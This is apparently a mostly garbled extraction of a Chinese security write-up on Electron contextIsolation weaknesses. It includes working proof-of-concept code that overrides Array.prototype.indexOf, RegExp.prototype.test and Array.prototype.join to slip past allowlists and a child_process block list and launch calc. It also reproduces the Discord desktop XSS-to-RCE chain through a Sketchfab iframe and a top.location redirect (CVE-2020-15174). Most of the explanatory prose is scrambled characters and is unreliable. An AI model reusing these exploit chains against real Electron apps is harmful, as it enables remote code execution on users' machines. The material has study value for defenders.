// Quit when all windows are closed.

app.on('window-all-closed', function () {

  // On macOS it is common for applications and their menu bar

  // to stay active until the user quits explicitly with Cmd + Q

  if (process.platform !== 'darwin') app.quit()

})
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preload.js

 

renderer.js

// In this file you can include the rest of your app's specific main 

process

// code. You can also put them in separate files and require them here.

const { ipcRenderer } = require('electron')

const keys = ["P@ssw0rd", "6KataXdP98", "bLtW4C6BJd", "vpaAmdQlDF"]

window.addEventListener('DOMContentLoaded', () => {

  const replaceText = (selector, text) => {

    const element = document.getElementById(selector)

    if (element) element.innerText = text

  }

  for (const type of ['chrome', 'node', 'electron']) {

    replaceText(`${type}-version`, process.versions[type])

  }

})

window.getResult = (user_input) => {

  if (keys.indexOf(user_input) !== -1) {

    return ipcRenderer.invoke('invisible')

  } else {

    return ipcRenderer.invoke('normal')

  }

}

/**

 * This file is loaded via the <script> tag in the index.html file and will

 * be executed in the renderer process for that window. No Node.js APIs are

 * available in this process because `nodeIntegration` is turned off and

 * `contextIsolation` is turned on. Use the contextBridge API in 

`preload.js`
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index.html

 * to expose Node.js functionality from the main process.

 */

Array.prototype.indexOf = () => {

    return 1

}

window.getResult("pass").then((result) => {

    let element = document.getElementById('show-result');

    element.innerText = `Result is: ${result}`

    element.style.textDecoration = 'underline';

})

<!DOCTYPE html>

<html>

  <head>

    <meta charset="UTF-8">

    <!-- https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP -->

    <meta http-equiv="Content-Security-Policy" content="default-src 'self'; 

script-src 'self'; style-src 'self' 'unsafe-inline'">

    <link href="./styles.css" rel="stylesheet">

    <title>Hello World!</title>

  </head>

  <body>

    <h1>Hello World!</h1>

    We are using Node.js <span id="node-version"></span>,

    Chromium <span id="chrome-version"></span>,

    and Electron <span id="electron-version"></span>.

    <br>

    <br>

    <h2 id='show-result'></h2>

    <!-- You can also require other files to run in this process -->

    <script src="./renderer.js"></script>

  </body>

</html>
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塜䅻䗯⬅┖䡘♜┘湳鷺⯥䬠㳢ꙻ㍕塝䡘♜⺆耇ꪣ孾䬠◬⫂㳋╯⺵건ꪫ侁炐㞝┖

䡘♜压刧♏溞⹠朆院爊䈌⪩ꠊ▽ nodeIntegration  䇜┦䋯⻪▽ sandbox  ⛙佭媆僗䋯
⻪┕┖乄ꣵ熊 Electron  撷儗╙ 29.3.0

⪩ꠊ▽ contextIsolation  ⺵鲹䙬⽏浔峷刌鲽爊⽰것ⱶ鰉耾儗⪦榫┉╄┕┖乄ⷊ 
window  䡘♜⺎♔⹠朆⮮亇䡘♜儹꡿氳亡嫏榫氳佭 Array.prototype.indexOf()  ♔
塝全⮮亇䡘♜䬠◬氳 key  佭⻖㏇丘篯╈
仵抆┕┖乄媆僗ꣵ熊黁䡘♜㶩⺎♔右䷊鲹╄⪓㷀⛼榫㓊╈氳 JavaScript  ⫂糌㵒霅 
Array.prototype  全鲽车⸊㑔ꛔ娤刌

䡘♜鵠鲋右䷊ indexOf  ⭹丘氳⫂㳋鲽车▽⸊㑔ꛔ娤刌鲽縡簀鲋▽ key  氳压刧⫋埠䬠
◬건ꪫ㞝┖

// 渲染进程

Array.prototype.indexOf = () => {

    return 1

}

第 51 ⻚ / 共 67 ⻚



僗◙僚⹘⺎耇⚢䘶黁䡘波䫙㵨⫂㳋右䷊╙ require('child_process').exec('deepin-
music')  佭┘佭㶩⺎♔波䫙䣮车▽⼱

䇜┘车䈒院佭㍕╙右䷊耾儗⫂㳋佭㏇峷刌鲽爊╈㱮䡗氳䢦♔㏇䣮车氳休⠯█⚢全峷刌鲽爊
ꄅ全界┕┖乄篾冽┉洇✃鲹 window ⪓㷀⛼榫㓊ꄅ媆僗 require  䡝縖 process  璡㞝
冽㵨右䷊⸊㑔ꛔ氳䳩⛼䷒㏇ Preload  耾儗╈㱮䡗㶩⺎♔걹⮵䣮车
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2) ♳䙬乄♭䣮车  

https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-cu

recon-en?slide=30

㚲杼䣒䋯㛚鼨㏐㏥休 Preload  㵒㛚鼨㏐㏥鲽车▽뀰阾⺆⩒阵 http  䡝 https  䋯㜍氳㏐
㏥뀰阾鵠鲋氳陚✳榫 shell.openExternal()  䣒䋯
main.js

// Modules to control application life and create native browser window

const {app, BrowserWindow} = require('electron')

const path = require('path')

function createWindow () {

  // Create the browser window.

  const mainWindow = new BrowserWindow({

    width: 800,

    height: 600,

    webPreferences: {

      contextIsolation: false,

      nodeIntegration: false,
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index.html

      sandbox: false,

      preload: path.join(__dirname, 'preload.js')

    }

  })

  // and load the index.html of the app.

  mainWindow.loadFile('index.html')

app.whenReady().then(() => {

  createWindow()

  

  app.on('activate', function () {

    // On macOS it's common to re-create a window in the app when the

    // dock icon is clicked and there are no other windows open.

    if (BrowserWindow.getAllWindows().length === 0) createWindow()

  })

})

app.on('window-all-closed', function () {

  if (process.platform !== 'darwin') app.quit()

})

<!DOCTYPE html>

<html>

  <head>

    <meta charset="UTF-8">

    <!-- https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP -->

    <meta http-equiv="Content-Security-Policy" content="default-src 'self'; 

script-src 'self'">

    <meta http-equiv="X-Content-Security-Policy" content="default-src 

'self'; script-src 'self'">

    <title>Hello World!</title>

  </head>

  <body>

    <h1>Hello World!</h1>
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preload.js

    We are using Node.js <span id="node-version"></span>,

    Chromium <span id="chrome-version"></span>,

    and Electron <span id="electron-version"></span>.

    <!-- You can also require other files to run in this process -->

    <br>

    <a href="file:///C:/windows/system32/calc.exe">click here</a>

    <script src="./renderer.js"></script>

  </body>

</html>

window.addEventListener('DOMContentLoaded', () => {

  const replaceText = (selector, text) => {

    const element = document.getElementById(selector)

    if (element) element.innerText = text

  }

  for (const type of ['chrome', 'node', 'electron']) {

    replaceText(`${type}-version`, process.versions[type])

  }

})

const { shell } = require('electron')

const SAFE_PTOTOCOLS = ["http:", "https:"]

document.addEventListener('click', (e) => {

  if (e.target.nodeName === 'A') {

    var link = e.target

    if (SAFE_PTOTOCOLS.indexOf(link.protocol) !== -1) {

      shell.openExternal(link.href)

    } else {

      alert("This link is not allowed")

    }

    e.preventDefault();

  }
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憠⭵ click here

랸阡䗯⬅┖┘⩒阵 file://  鲹熨ⶖ阫⛙佭┕┖乄ꣵ熊媆僗䋯⻪䡘♜䬤⪍♔┖ 
JavaScript  ♏溞

㏇峷刌鲽爊╈㵨 indexOf  氳♏溞簄䷊▽仰阷陾隀榫㏰鲮影 1 鲹劫㶩簀鲋▽㱧⪓压刧

}, false)

// shell.openExternal("file:///C:/windows/system32/calc.exe")

Array.prototype.indexOf = () => {

    return 1

}
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⫋埠憠⭵㶩波䫙䣒䋯㵒䈒氳◅鲽⯆乄♭▽㲓朆♳䙬乄♭䣮车氳䷞冽
3) ꄆ⫞ require  

僗◙爊䈌㏇ Preload  ⫂鼨ꄆ亍㵟逸▽ require  ⺎耇⢢▽┉◙Ⱶ耇㘍⬵╯⺵倽꨽簄峷刌
鲽爊鲹㶩簄▽峷刌鲽爊⺎内╯儬波䫙⺎♔䣮车硍簊⽝♑
 

main.js

// Modules to control application life and create native browser window

const {app, BrowserWindow} = require('electron')

const path = require('path')

function createWindow () {

  // Create the browser window.

  const mainWindow = new BrowserWindow({

    width: 800,

    height: 600,

    webPreferences: {

      contextIsolation: false,

      nodeIntegration: false,

      sandbox: false,

      preload: path.join(__dirname, 'preload.js')
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preload.js

    }

  })

  // and load the index.html of the app.

  mainWindow.loadFile('index.html')

}

app.whenReady().then(() => {

  createWindow()

  

  app.on('activate', function () {

    // On macOS it's common to re-create a window in the app when the

    // dock icon is clicked and there are no other windows open.

    if (BrowserWindow.getAllWindows().length === 0) createWindow()

  })

})

app.on('window-all-closed', function () {

  if (process.platform !== 'darwin') app.quit()

})

// All of the Node.js APIs are available in the preload process.

// It has the same sandbox as a Chrome extension.

window.addEventListener('DOMContentLoaded', () => {

  const replaceText = (selector, text) => {

    const element = document.getElementById(selector)

    if (element) element.innerText = text

  }

  for (const type of ['chrome', 'node', 'electron']) {

    replaceText(`${type}-version`, process.versions[type])

  }

})

window.diyRequire = (module_name) => {
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┉╄甏⶝氳嘗㑔舅㲋共▽┉╄ require  焔塛▽ child_process  ⽰ shell  嘗怪⛙佭
媆僗䋯⻪┕┖乄ꣵ熊㵗舚䡘♜鲸佭⺎♔鵠鲋⸊㑔ꛔ娤刌氳䣆嫏鲽车 RCE

 

  const forbidden_module = ["child_process", "shell"]

  if (forbidden_module.indexOf(module_name) !== -1) {

    console.log('not allow')

  } else {

    return require(module_name)

  }

}

Array.prototype.indexOf = () => {

    return -1

}

window.diyRequire('child_process').exec('calc')
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2. 勆❇⮇冫  

https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

鲹╄佭╯⯥乄珖⮇冫鲋氳勆❇ Discord  氳ⷧ⺒庀嬼庀嬼⹠朆縖╙ Masato

Masato  篾⺭▽♔┖└╄庀嬼㲓朆▽ RCE  氳䷞冽
Missing contextIsolation

XSS in iframe embeds

Navigation restriction bypass (CVE-2020-15174)

ⷊ籬㵽┕┖乄ꣵ熊⩒阵 iframe  㿋⪍㵗芒꡿⯆簀鲋
 

⛼縖꺙⩝洇▽┉┖猫⹾⮡䋧休氳鿥糌

⹠朆 nodeIntegration  䇜媆僗䋯⻪⛙佭┕┖乄ꣵ熊█媆僗䋯⻪㏇䎎休氳鲹╄撷儗⺎
耇佭랸阡ⷊ⪩ꠊ
䎎⛼縖压刧 Preload  耾儗休⹠朆 Discord  倽꨽亡嫏 
DiscordNative.nativeModules.requireModule('MODULE-NAME')  鲹⩒阵㏇粠건隀榫嘗
怪
抆縡⛼縖⹠朆䇜┘耇波䫙隀榫 child_process  嘗怪波䫙 RCE ◇佭⛼縖鵠鲋⸊㑔ꛔ娤刌
氳亡嫏䬠❠▽㞝┖ PoC
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鲹ꄅ隀榫 getGPUDriverVersions  佭㍕╙⪭⫂鼨鵠鲋 execa  䣮车爊䈌

鲹ꄅ⺎♔洇⮽金䣮车氳乄♭佭㍾㲋氳鲹ꄅ┘陱右䷊朅㗟氳◄䎎抆㛻㳄⺎♔㶍陒
䡘♜㞝⛰䣉耇鵠鲋┕┖乄㵨䣮车氳乄♭僀䩦䡗䡘♜䘶金鲡车氳乄♭⼱
╙☜╫右䷊ RegExp.prototype.test  ⽰ Array.prototype.join  㶩⺎♔㵨金䣮车氳乄♭
右䷊╙ calc ⼱
⛼縖䬠❠▽允╄ꛔ䫙⪭㲓㶩佭┉╄乄♭╈氳允╄⛤糌

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028

c0c06bddc/lib/parse.js#L36

RegExp.prototype.test=function(){

    return false;

}

Array.prototype.join=function(){

    return "calc";

}

DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVers

ions();

module.exports.getGPUDriverVersions = async () => {

  if (process.platform !== 'win32') {

    return {};

  }

  const result = {};

  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA 

Corporation/NVSMI/nvidia-smi.exe`;

  try {

    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));

  } catch (e) {

    result.nvidia = {error: e.toString()};

  }

  return result;

};
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https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028

c0c06bddc/lib/parse.js#L55

鲹洇颯全佭㏇䣮车氳鲋爊╈氳压刧♏溞䢦♔鲹ꄅ右䷊氳䈒院佭 execa  鲋爊╈氳隀榫氳 
join  ⽰ test 鵠鲋右䷊⭹丘鲮影⡬䡗Ⱶ簀鲋㱧⪓压刧䣮车䡘♜䘶金氳爊䈌乄♭ calc

 

朆㏇ PoC  僗▽㞝⛰䷒⮽건ꪫ╈䣮车⼱ 䡘♜꧎金┉╄ XSS  鲹劫氳儬⚢
⛼縖㶍陒▽┉◙ XSS  孾陒⺵䇜媆僗界⮽伺侁氳 XSS  儬⚢⛙佭⹠朆鲹╄爊䈌䶺䧏 
autolink  ⽰ Markdown  䢦♔☽㵨嫱䙬ⱱ鯸⮽▽ iframe  㿋⪍陒㎂鵠鲋㿋⪍ iframe  
全䣮车┕鳮♏溞
㿋⪍ iframe  ⪭㲓佭奃鰏䅻鈷Ⱶ耇❇㞝䡘♜㵨㛚珇氳鈼겐粠건╯眷氳鯸⹠⮽䐭⼝纞㛿槡
ꪫ䐭⼝纞㛿槡ꪫ耇侁炐⭴鯸⹠⫂㳋氳鼨⮇⼝䕜❇㞝鈼겐㵟ꪫ剝겗璡縡┘佭⫼⬉氳 
URL  鲹╄㶩㷯◇佭 iframe  㿋⪍䡘佭陱鲹熨Ⱶ耇䐭⼝佭┘佭鲹╫⢢氳俪┘䐂湳⿊
Discord  䶺䧏㿋⪍❇㞝 YouTube ⫂㳋䎎 YouTube URL  逈⹠䄭休㱚⚢舅ⲁ㏇纞㛿╈侁
炐鈼겐䲭䷒ն
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䎎 URL  逈⹠䄭休 Discord  ⚢㶍陒藜⹧⪭ OGP  ⼝䕜㞝冽僗 OGP  ⼝䕜㱚⚢㏇纞㛿╈
侁炐건ꪫ氳剝겗յ䬞鳮յ籔樋㎂յ注⪩鈼겐璡ն
Discord  ☳ OGP  ╈䬠⹧鈼겐 URL 䇜┦⺆僗䎎鈼겐 URL  佭⩒阵氳㓊䇜┦ URL  㲓ꡮ┕
僗㿋⪍건ꪫ氳 URL  劲䌋休 URL  䣉⚢㿋⪍⮽ iframe  ╈ն
侁抆鲹熨炙◬眷䈒榫┘⚢⩒阵♳䙬 iframe  㿋⪍㍕塝⛼縖⸼压刧▽⩒阵氳㓊媆僗界⮽
陱伺乄勮⛙佭鵠鲋刧洇 CSP  氳 frame-src 篾冽㞝┖

╯⺵鵠鲋㵨压刧鲹◙㓊⺳佭⻖⺎♔逈榫全⢢ iframe  㿋⪍⮽粠건╯⺵㏇鲹◙㓊⺳氳粠珇╈
㵖界 XSS 僄篳㏇ sketchfab.com  ╈界⮽▽ XSS ╯⯥䇜┘▽鉯鲹╄粠珇㛻脱佭╄⹠
䄭嘗㑔氳粠珇┘鲋⛼縖㏇⪭╈界⮽▽ XSS 鲹劫⛎╲㶩⬹룋▽ RCE  ䷍⭵ꛔ氳僄⺵┉朅
PoC

Content-Security-Policy: [...] ; frame-src 

https://*.youtube.com 

https://*.twitch.tv 

https://open.spotify.com 

https://w.soundcloud.com 

https://sketchfab.com 

https://player.vimeo.com 

https://www.funimation.com 

https://twitter.com 

https://www.google.com/recaptcha/ 

https://recaptcha.net/recaptcha/ 

https://js.stripe.com 

https://assets.braintreegateway.com 

https://checkout.paypal.com 

https://*.watchanimeattheoffice.com

<!DOCTYPE html>

<html>

<head>

    <meta charset="utf-8">

    <meta property="og:title" content="RCE DEMO">

    <meta property="og:description" content="Description">

    <meta property="og:type" content="video">

    <meta property="og:image" content="https://l0.cm/img/bg.jpg">

    <meta property="og:image:type" content="image/jpg">

    <meta property="og:image:width" content="1280">

第 63 ⻚ / 共 67 ⻚



⛙◄┚䛄鲿豓抆界⮽▽ XSS ⛙佭♏溞☱抆佭䣮车㏇ iframe  ꄅꪫ䇜媆僗䣮车㏇峷刌
鲽爊ꄅ䢦♔䡘♜媆僗ⱴ嫏釙沲⸊儗䡘♜䘶金釙沲氳♏溞䡘♜☱抆꧎金┉╄鴣鶲氳䳩⛼

┘湳鷺䋯⻪▽ nodeIntegrationInSubFrames  ⺵佭┘佭㶩┘榫鴣鶲▽㛻㳄鷕⮽氳陚⺎♔䏢鲹
╄䓙饟䘶

 

䫙┖全㶩佭䯹聰 iframe  氳兠籅◂⹧鴣聰⮽峷刌鲽爊╈┉芘佭鵠鲋 iframe  䣒䋯┉╄亍
猫⹾䡝縖鵠鲋㵗芒㵗芒⮽걵鼨猫⹾氳⺁┉╄ URL

⛼縖㵒注⪩♏溞鲽车⮇冫⺵⹠朆㏇╚鲽爊╈✳榫▽ new-window  ⽰ will-navigate  ◄
♭全꡿⯆▽㵗芒氳车╙

    <meta property="og:image:height" content="720">

    <meta property="og:video:url" 

content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embe

d">

    <meta property="og:video:type" content="text/html">

    <meta property="og:video:width" content="1280">

    <meta property="og:video:height" content="720">

</head>

<body>

test

</body>

</html>

mainWindow.webContents.on('new-window', (e, windowURL, frameName, 

disposition, options) => {

  e.preventDefault();

  if (frameName.startsWith(DISCORD_NAMESPACE) && 

windowURL.startsWith(WEBAPP_ENDPOINT)) {

    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);

  } else {

    _electron.shell.openExternal(windowURL);

  }

});

[...]

mainWindow.webContents.on('will-navigate', (evt, url) => {

  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {

    evt.preventDefault();
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鲹♏溞洇颯全䏭哈漓耇㛫僗䷞ꡕ塛䡘♜氳⚀㎂⛙佭⛼縖㏇孾陒鲋爊╈⹠朆▽┉╄㜦䓯氳ꠋ
겗
 

CVE-2020-15174

㞝冽 iframe  氳걵鼨㵗芒 ( top.location ) ┚ iframe  儗骱佭⺱嶏氳⮟⚢鉵⹠ will-
navigate  ◄♭鲽縡逈ꡢ塛⛙佭㞝冽允縖佭┘⺱嶏氳㶩┘⚢鉵⹠ will-navigate  ◄
♭鲹侁抆佭╄ Bug 縡┦佭 Electron  氳 Bug ⛼縖⹛꺋簄▽ Electron  

⮵榫鲹╄庀嬼䡝縖⺈ Bug 䡘♜㶩⺎♔䡗Ⱶ簀鲋㵗芒꡿⯆╯⺵㶩佭✳榫 iframe  氳 XSS  
㵗芒⮽ⴎ⻡ RCE  ♏溞氳건ꪫ奃㞝 top.location =”//l0.cm/discord_calc.html ն

⮽鲹ꄅ㛻㳄影䑓╯⯥䡘♜☮篸 CVE-2020-15174  氳休⠯䈒院⺎♔催㞑氳杼鉯▽
⛼縖ꡭ┕▽庀嬼䷍⭵䷞冽鈼겐

https://youtu.be/0f3RrvC-zGI

 

0x07 䔅篾  
contextIsolation  氳⛼榫㏇◇ꣵ熊 Preload  ⽰峷刌鲽爊鲹╄攑䓪逈⪩ꠊ䇜┘⚢波䫙㵗
舚 XSS To RCE

  }

});

<script>

Array.prototype.join=function(){

    return "calc";

}

RegExp.prototype.test=function(){

    return false;

}

DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVers

ions();

</script>
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https://youtu.be/0f3RrvC-zGI


⪩ꠊ contextIsolation  ⺵ Preload  ⽰峷刌鲽爊氳 window  ⪓㷀㵒霅佭⪦◸氳㏇ 
Preload  ╈鵠鲋 window.xxx  舅㲋共氳⹩ꄈ/䅻ꄈ 䡝亡嫏㵒霅璡⺎♔㏇峷刌鲽爊╈鵠鲋 
window.xxx  鲽车✳榫♔⹖催䷊
⪩ꠊ contextIsolation  ⺵ JavaScript ⫂糌㵒霅█㏇ Preload  ⽰峷刌鲽爊╯ꠑ⪦◸
鲹䏢䏢佭䅠全㲓ꡮ⷇㲺氳ꄆ金┉朅
contextIsolation  儗骱ꣵ熊氳䷞冽┘⹨ nodeIntegration յ sandbox  氳䏆⿏峷刌鲽爊
藜⹧⮽ Preload 氳鼨⮇亡嫏⺵䣮车䷞冽佭⹨ sandbox  䏆⿏氳❇㞝 Electron 6.0  ♔
⺵䋯⻪ sandbox  ⷊ✳ Preload  㵨 require  篼㲋㏇▽ window  㵒霅╈峷刌鲽爊藜⹧
⮽ require  █仰嫏ⱶ鰉 child_process  䎎抆 Preload  █ⱶ鰉┘▽

20240504 辍⩘鼨⮇
篺鲋孾陒㏇ Electron 20.0  ♔⹖♔⺵氳撷儗䇜┘佭랸阡 sandbox: true  䡝縖陱䇜┘
㱮⪓璡◇侁䌋㏐阻糌 sandbox: true  

䎎 nodeIntegration  յ nodeIntegrationInSubFrames յ nodeIntegrationInWorker  逈
阻糌╙ true  休 sandbox  㵒◇ Node.js  氳变䥉䷞冽㶩⚢㜊䷞
䎎 contextIsolation  逈阻糌╙ false  休 sandbox  㵒◇┕┖乄ꣵ熊氳变䥉䷞冽㶩⚢㜊
䷞
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